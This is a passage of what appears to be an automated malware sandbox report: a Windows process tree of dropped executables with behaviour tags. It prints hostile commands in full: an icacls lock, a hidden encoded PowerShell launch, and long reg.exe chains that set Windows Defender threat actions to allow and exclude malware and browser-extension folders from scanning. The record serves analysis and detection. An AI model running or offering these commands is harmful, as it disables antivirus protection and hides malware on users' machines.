                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 2868 -ip 2868
                                                                                          1⤵
                                                                                            PID:5640
                                                                                          • C:\Users\Admin\AppData\Local\Temp\onefile_2972_133531841536410118\WW9_64.exe
                                                                                            "C:\Users\Admin\Documents\GuardFox\WbpOVj2wdHtADLlWkCQJXyxg.exe"
                                                                                            1⤵
                                                                                            • Executes dropped EXE
                                                                                            • Loads dropped DLL
                                                                                            PID:4520
                                                                                          • C:\Users\Admin\Documents\GuardFox\xVovRr115da5UGt7mKVb47Cj.exe
                                                                                            "C:\Users\Admin\Documents\GuardFox\xVovRr115da5UGt7mKVb47Cj.exe"
                                                                                            1⤵
                                                                                            • Checks computer location settings
                                                                                            • Executes dropped EXE
                                                                                            • Adds Run key to start application
                                                                                            • Modifies registry class
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            PID:844
                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                              icacls "C:\Users\Admin\AppData\Local\6822f988-ccf5-4e57-afb4-dd971c700c06" /deny *S-1-1-0:(OI)(CI)(DE,DC)
                                                                                              2⤵
                                                                                              • Modifies file permissions
                                                                                              PID:320
                                                                                            • C:\Users\Admin\Documents\GuardFox\xVovRr115da5UGt7mKVb47Cj.exe
                                                                                              "C:\Users\Admin\Documents\GuardFox\xVovRr115da5UGt7mKVb47Cj.exe" --Admin IsNotAutoStart IsNotTask
                                                                                              2⤵
                                                                                              • Executes dropped EXE
                                                                                              • Suspicious use of SetThreadContext
                                                                                              PID:3404
                                                                                              • C:\Users\Admin\Documents\GuardFox\xVovRr115da5UGt7mKVb47Cj.exe
                                                                                                "C:\Users\Admin\Documents\GuardFox\xVovRr115da5UGt7mKVb47Cj.exe" --Admin IsNotAutoStart IsNotTask
                                                                                                3⤵
                                                                                                • Executes dropped EXE
                                                                                                PID:412
                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 412 -s 568
                                                                                                  4⤵
                                                                                                  • Program crash
                                                                                                  PID:1164
                                                                                          • C:\Windows\system32\svchost.exe
                                                                                            C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                            1⤵
                                                                                              PID:6040
                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 412 -ip 412
                                                                                              1⤵
                                                                                                PID:2120
                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 5820 -ip 5820
                                                                                                1⤵
                                                                                                  PID:4980
                                                                                                • C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
                                                                                                  "C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
                                                                                                  1⤵
                                                                                                    PID:2872
                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                    1⤵
                                                                                                      PID:5848
                                                                                                      • C:\Windows\system32\gpupdate.exe
                                                                                                        "C:\Windows\system32\gpupdate.exe" /force
                                                                                                        2⤵
                                                                                                          PID:5432
                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 4748 -ip 4748
                                                                                                        1⤵
                                                                                                          PID:5768
                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                          C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                          1⤵
                                                                                                            PID:5292
                                                                                                          • C:\Windows\system32\gpscript.exe
                                                                                                            gpscript.exe /RefreshSystemParam
                                                                                                            1⤵
                                                                                                              PID:2700
                                                                                                            • C:\Windows\windefender.exe
                                                                                                              C:\Windows\windefender.exe
                                                                                                              1⤵
                                                                                                                PID:3204
                                                                                                              • C:\Users\Admin\AppData\Local\Temp\fvLIfGGBBdNYLYAis\gCckOLUAyUDZmqr\gDwSKdh.exe
                                                                                                                C:\Users\Admin\AppData\Local\Temp\fvLIfGGBBdNYLYAis\gCckOLUAyUDZmqr\gDwSKdh.exe r1 /LNsite_idduL 525403 /S
                                                                                                                1⤵
                                                                                                                  PID:6052
                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                    powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                                                                                                                    2⤵
                                                                                                                      PID:1692
                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                        "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                                                        3⤵
                                                                                                                          PID:4416
                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                            REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                                                            4⤵
                                                                                                                              PID:3136
                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                                                                                                                            3⤵
                                                                                                                              PID:1332
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                                                                                                              3⤵
                                                                                                                                PID:5896
                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                                                                                                                3⤵
                                                                                                                                  PID:4064
                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                                                                                                                  3⤵
                                                                                                                                    PID:5744
                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                                                                                                                    3⤵
                                                                                                                                      PID:5528
                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                                                                                                                      3⤵
                                                                                                                                        PID:3212
                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                                                                                                                        3⤵
                                                                                                                                          PID:5460
                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                                                                                                                          3⤵
                                                                                                                                            PID:5152
                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                                                                                                                            3⤵
                                                                                                                                              PID:5752
                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                                                                                                              3⤵
                                                                                                                                                PID:5908
                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                                                                                                                3⤵
                                                                                                                                                  PID:2356
                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                                                                                                                  3⤵
                                                                                                                                                    PID:5192
                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                                                                                                                    3⤵
                                                                                                                                                      PID:4184
                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                                                                                                                      3⤵
                                                                                                                                                        PID:452
                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                                                                                                                        3⤵
                                                                                                                                                          PID:1164
                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                                                                                                                          3⤵
                                                                                                                                                            PID:5612
                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                                                                                                                            3⤵
                                                                                                                                                              PID:5428
                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                                                                                                              3⤵
                                                                                                                                                                PID:3172
                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:2436
                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:3488
                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:4812
                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:3296
                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:3816
                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:4640
                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:5424
                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:2328
                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                3⤵
                                                                                                                                                                                  PID:5048
                                                                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RKrrVaXXRkyU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RKrrVaXXRkyU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\SyLYnxBDrvwnC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\SyLYnxBDrvwnC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\hBSCUihLQgbWRjbaUSR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\hBSCUihLQgbWRjbaUSR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\jnZuMDLgU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\jnZuMDLgU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\prPmKzeVCFUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\prPmKzeVCFUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\YNmVtKIhxUNsrgVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\YNmVtKIhxUNsrgVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\fvLIfGGBBdNYLYAis\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\fvLIfGGBBdNYLYAis\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\LVCnHeNtpGpwKZds\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\LVCnHeNtpGpwKZds\" /t REG_DWORD /d 0 /reg:64;"
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:5360
                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RKrrVaXXRkyU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:2096
                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RKrrVaXXRkyU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                        4⤵
                                                                                                                                                                                          PID:4984
                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RKrrVaXXRkyU2" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:1384
                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\SyLYnxBDrvwnC" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:5200
                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\SyLYnxBDrvwnC" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                            3⤵
                                                                                                                                                                                              PID:5176
                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\hBSCUihLQgbWRjbaUSR" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                              3⤵
                                                                                                                                                                                                PID:2804
                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\hBSCUihLQgbWRjbaUSR" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                  PID:5816
                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jnZuMDLgU" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                    PID:5824
                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jnZuMDLgU" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                      PID:1960
                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\prPmKzeVCFUn" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                        PID:2588
                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\prPmKzeVCFUn" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                          PID:5740
                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\YNmVtKIhxUNsrgVB /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                            PID:5940
                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\YNmVtKIhxUNsrgVB /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                              PID:4260
                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                PID:4280
                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                  PID:5224
                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                  3⤵
